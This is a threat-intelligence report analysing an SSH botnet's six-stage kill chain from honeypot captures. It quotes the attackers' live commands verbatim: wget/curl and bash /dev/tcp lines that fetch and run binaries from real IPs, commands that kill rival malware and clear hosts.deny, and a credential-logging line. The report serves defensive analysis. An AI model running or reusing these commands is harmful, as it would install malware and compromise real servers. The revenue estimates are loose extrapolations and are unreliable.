⚙️ The Supply Chain

I. The Kill Chain

Across TI-2026-058A–C we mapped the reconnaissance and signaling infrastructure. Now we trace what happens after a target is identified. The honeypot command capture reveals a complete six-stage kill chain from discovery to exploitation:

STAGE 1: TARGET IDENTIFICATION
│  Tool: Nmap fleet (Google Cloud Belgium)
│  Method: SSH host-key fingerprinting
│  Output: List of live SSH servers + version info
│
STAGE 2: CREDENTIAL TESTING
│  Tool: Go Gen-2/3/4 variants
│  Method: Multi-credential spray
│  Output: Successful logins + which credentials work
│
STAGE 3: ASSET VALUATION
│  Tool: 9-phase payload (Go Gen-2)
│  Method: GPU/CPU/Memory/Telegram/GSM profiling
│  Output: Categorized asset inventory
│
STAGE 4: PERSISTENCE
│  Tool: mdrfckr SSH key
│  Method: authorized_keys injection
│  Output: Permanent backdoor regardless of password changes
│
STAGE 5: COMPETITOR ELIMINATION
│  Tool: rm -rf /tmp/secure.sh; pkill -9 secure.sh
│  Method: Kill competing miners/bots
│  Output: Clean environment for payload
│
STAGE 6: PAYLOAD DELIVERY
│  Tool: wget/curl/scp/bash TCP
│  Sources: w1n Latvia, Chinese C2, Google Cloud
│  Output: Operational malware (miners, worms, proxies)

II. The Payload Sources

Our honeypot has captured three distinct malware delivery mechanisms, each from a different infrastructure layer:

busybox wget http://31.170.22.205/dl600
cd /tmp || cd /var/run || cd /dev

cd /tmp; ulimit -n 1020000; rm -rf meow*
wget http://34.181.210.37/meow
curl -O http://34.181.210.37/meow
chmod 777 meow; ./meow
wget http://34.181.210.37/meowarm64
chmod 777 meowarm64; ./meowarm64

nohup bash -c "exec 6<>/dev/tcp/47.120.55.164/60128 &&
  echo -n 'GET /linux' >&6 &&
  cat 0<&6 > /tmp/NookhBfmUi &&
  chmod +x /tmp/NookhBfmUi &&
  /tmp/NookhBfmUi"

chmod +x ./.3751103500190727598/sshd
nohup ./.3751103500190727598/sshd \
  113.56.35.44 111.203.190.237 183.224.79.111 \
  203.189.196.168 180.76.229.231 34.1...

III. The Competitor Elimination Protocol

Before deploying their own payload, the operator systematically removes competing malware:

rm -rf /tmp/secure.sh
rm -rf /tmp/auth.sh
pkill -9 secure.sh
pkill -9 auth.sh
echo > /etc/hosts.deny
pkill -9 sleep

This reveals that:

• secure.sh and auth.sh are common filenames used by other botnet operators for persistence scripts
• echo > /etc/hosts.deny clears the TCP wrapper blocklist — removing any IP bans that previous operators set up to protect "their" compromised host
• pkill -9 sleep kills waiting processes that are likely cron-triggered mining sessions from competitors

The operator is not just compromising machines — they are evicting other criminals and taking over their territory. This is turf warfare at the botnet level.

IV. The Credential Exfiltration

One command stands out as uniquely disturbing:

echo -n $(whoami):123456 > /tmp/mew

This writes the current username paired with the password that was used to log in to a file called /tmp/mew. Why?

Because the 9-phase reconnaissance payload runs before it knows if the credential will remain valid. By writing the successful credential to disk, a later pickup process can:

1. Confirm which username:password combination worked
2. Catalog it for the central credential database
3. Share it with downstream operators who will access the same host later

This is the mechanism by which the inventory gets populated. Each compromised host self-reports its access credentials. The "mew" file is the receipt that proves the sale — the asset has been successfully acquired and catalogued.

V. The Geographic Pipeline

Tracing the malware delivery sources reveals a clear geographic pipeline:

The pattern is clear: European infrastructure for targeting (w1n Latvia, TechTies Netherlands, Private Layer Switzerland). Chinese infrastructure for payload delivery (Alibaba, Tencent, Baidu cloud + China Unicom backbone). Google Cloud operates on both sides — as a reconnaissance tool AND as a malware host.

This geographic split is strategic:

• European hosting provides low-latency connections to Western targets
• Chinese hosting provides jurisdictional protection from Western law enforcement
• Google Cloud provides reputation and global reach on both sides
• The split means no single jurisdiction can seize both the targeting system AND the delivery system simultaneously

VI. The Economy of a Compromised Machine

What is a single compromised server worth to this operation? We can estimate from the payloads observed:

With 14,664 successful admin:admin logins across 326 IPs over 102 days — even at a conservative 10% actual compromise rate — that's ~33 operational hosts generating $30–500/month each. Annually: $12K–200K from a single credential pair.

The "meow" worm compounds this. Each compromised host attacks 1,020,000 file descriptors worth of targets simultaneously. If 0.01% succeed, each worm instance produces 100 new compromised hosts. Exponential growth until saturation.

VII. The w1n Dual Role

The discovery that 31.170.22.205 hosts malware payloads while being part of the w1n/Anastasiia reconnaissance cluster is architecturally significant. This single IP:

• Shares HASSH 57e4cc8e... with the w1n cluster (confirmed membership)
• Uses credential admin:123456 (the Codebook's "report/identify" signal)
• Hosts the /dl600 binary payload (malware delivery)
• Is registered to Sia Nano IT (Latvia) — same RDAP grouping as w1n's 31.170.22.196

The w1n network is not just a reconnaissance tool. It is dual-use infrastructure: the same IPs that scan for targets also serve the malware that infects them. This means the reconnaissance arm has direct operational authority to deploy payloads without waiting for command authorization through the Wednesday signal channel.

This is tactically significant. The Go Machine (TechTies) only profiles and backdoors. The w1n cluster profiles AND delivers. The two reconnaissance arms have different levels of operational autonomy — w1n is a hunter-killer, while TechTies is a scout.

VIII. Conclusions

The organism doesn't just see and signal — it feeds. Each compromised host is consumed (mined, proxied, or resold) while simultaneously producing offspring (worm propagation). The infrastructure is not maintained — it grows. Self-replicating, self-funding, and distributed across enough jurisdictions that no single action can stop it.